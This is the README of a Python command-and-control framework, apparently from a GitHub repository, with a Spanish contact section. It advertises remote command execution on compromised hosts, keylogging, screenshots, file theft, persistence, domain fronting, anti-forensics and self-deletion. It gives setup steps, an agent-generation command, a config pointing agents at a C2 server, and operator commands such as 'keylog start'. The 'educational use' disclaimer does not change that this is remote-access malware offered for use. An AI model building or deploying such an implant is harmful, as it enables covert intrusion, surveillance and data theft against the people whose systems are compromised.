Educational Command and Control (C2) framework written in Python for red team operations and security research.
- 🔌 Remote Control: Execute commands on compromised systems
- 📡 Multi-Protocol: HTTP, HTTPS, DNS, WebSocket
- 💾 File Transfer: Upload/download capabilities
- 📸 Screen Capture: Remote screenshot functionality
- 🎯 Keylogging: Keystroke monitoring
- 🔒 Encrypted Comms: AES-256 encryption
- 📊 Dashboard: Web-based C2 interface
┌─────────────────────────────────────┐
│ ₿ BTC Donation Address ₿ │
├─────────────────────────────────────┤
│ │
│ bc1qqphwht25vjzlptwzjyjt3sex │
│ 7e3p8twn390fkw │
│ │
│ Network: Bitcoin (BTC) │
│ Scan QR ↓ │
└─────────────────────────────────────┘
Address: bc1qqphwht25vjzlptwzjyjt3sex7e3p8twn390fkw
Support red team tool development! 🙏
git clone https://github.com/murdok1982/ComandoYControlPython.git
cd ComandoYControlPython
pip install -r requirements.txt
# Start C2 server
python c2_server.py
# Generate agent
python generate_agent.py --output agent.exe# config.py
C2_SERVER = "192.168.1.100"
C2_PORT = 443
COMMUNICATION_PROTOCOL = "https"
ENCRYPTION_KEY = "your_aes_key"
BEACON_INTERVAL = 60 # seconds# Start C2 server
python c2_server.py --port 443
# Access dashboard
http://localhost:8080/dashboard# Execute command
> exec whoami
# Upload file
> upload /local/file.txt /remote/file.txt
# Download file
> download /remote/file.txt /local/file.txt
# Screenshot
> screenshot
# Start keylogger
> keylog start- Shell commands
- PowerShell scripts
- Python code execution
- Upload/Download
- File listing
- File manipulation
- System info
- Network info
- Process listing
- Screenshot capture
- Registry modification
- Scheduled tasks
- Startup programs
- AES-256 encryption
- SSL/TLS support
- Domain fronting
- Jitter in beaconing
- Anti-forensics
- Self-deletion
EDUCATIONAL & AUTHORIZED USE ONLY
🚨 CRITICAL WARNING:
- This is a red team training tool
- Requires written authorization
- Unauthorized use is ILLEGAL
- May violate computer fraud laws
- Can result in criminal prosecution
Legal Uses:
- ✅ Authorized red team engagements
- ✅ Security research (isolated lab)
- ✅ Educational purposes
- ✅ CTF competitions
Illegal Uses:
- ❌ Unauthorized system access
- ❌ Malicious activities
- ❌ Real-world attacks
- ❌ Deployment without consent
murdok1982
- GitHub: @murdok1982
- LinkedIn: Gustavo Lobato Clara
MIT License - Authorized Use Only
By using this tool, you agree to:
- Use only for authorized purposes
- Obtain written permission
- Follow all applicable laws
- Accept full legal responsibility
⭐ Star this repo!
NIVEL DE ACCESO: AUTORIZADO | DESTINATARIO: COMANDANCIA DE DESARROLLO (gustavolobatoclara@gmail.com)
A través del siguiente portal de comunicaciones, el personal autorizado puede emitir reportes de incidencias, fallas críticas en despliegue (compilación) o solicitudes de mejoras estratégicas. Seleccione la directiva correspondiente para visualizar los protocolos de envío:
🚨 REPORTAR QUEJA O INCIDENCIA DISCIPLINARIA / OPERATIVA
Para tramitar una queja sobre el funcionamiento, estructura o contenido del sistema, envíe un mensaje a gustavolobatoclara@gmail.com siguiendo este protocolo:
- Asunto: [QUEJA] - Nombre del Sistema - Breve descripción.
- Cuerpo del mensaje: Detallar claramente la incidencia, impacto operativo y, si es posible, la evidencia (capturas o logs).
- Prioridad: Indicar si es de atención inmediata o diferida.
🛠️ REPORTE DE PROBLEMAS DE COMPILACIÓN O DESPLIEGUE
Si experimenta fallos durante la fase de compilación o instalación del sistema, reporte a gustavolobatoclara@gmail.com con la siguiente estructura técnica:
- Asunto: [COMPILACIÓN] - Falla en entorno <Entorno/OS>.
- Especificaciones: Sistema Operativo, versión de dependencias y herramientas de compilación utilizadas.
- Traza de Error (Logs): Adjunte el log completo de errores proporcionado por la terminal (en formato texto o captura legible).
- Pasos de Reproducción: Secuencia exacta de comandos ejecutados antes del fallo crítico.
💡 SUGERENCIAS O SOLICITUDES DE DESARROLLO
Para proponer nuevas capacidades tácticas, módulos de inteligencia o mejoras de arquitectura, envíe su solicitud a gustavolobatoclara@gmail.com:
- Asunto: [PROPUESTA] - Mejora o Nuevo Módulo.
- Objetivo Táctico: ¿Qué problema resuelve o qué ventaja proporciona esta nueva característica?
- Viabilidad: (Opcional) Posible enfoque técnico o herramientas recomendadas para su implementación.